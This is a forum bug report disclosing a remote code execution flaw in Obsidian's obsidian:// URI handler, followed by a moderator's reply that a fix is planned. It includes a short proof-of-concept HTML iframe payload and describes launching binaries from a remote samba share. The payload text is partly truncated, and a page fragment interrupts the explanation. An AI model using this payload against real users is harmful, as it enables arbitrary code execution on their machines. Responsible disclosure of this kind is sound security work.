Possible remote code execution through obsidian:// URI scheme

repro

---

sxy Jul 2

Steps to reproduce

1. Create a html file with iframe tag, then serves it on HTTP server.

```
<!-- exploit.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0"
    <title>Exploit</title>
</head>
<body>
    <iframe src="obsidian://hook-get-address?x-success=file:///c:/windows,
</body>
</html>
```

2. Open the html file in the browser. Modern web browser may popup a window to confirm to open Obsidian.exe, if we choose “Open Obsidian”, the command will be executed and popup a calc.exe.

Environment

- Operating system:
  Tested on Windows client latest version 0.14.15.

Additional information

When Obsidian receive `hook-get-address` action, it will use `window.open` to open any

Skip to main content

lidation, attacker can use remote samba server to execute any

binary (e.g. `x-success=\\samba server\shares\shellcode.exe`, `x-success=file://samba server/shares/rce.jar`) or other protocol like `sftp://`.

CVSS v3.1 Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE Types: **CWE-20** Improper Input Validation

> ✅ Solved by **WhiteNoise** in **post #3**
>
> will be handled better in 0.15.5.

WhiteNoise MODERATOR **Jul 2**

Thanks, we'll look into this shortly.

WhiteNoise MODERATOR **Jul 5**

will be handled better in 0.15.5.

---

sxy **Jul 5**

Thanks for quick resolution, can we request a CVE ID for this issue?

CLOSED ON JUL 12

This topic was automatically closed 7 days after the last reply. New replies are no longer allowed.

ARCHIVED ON OCT 13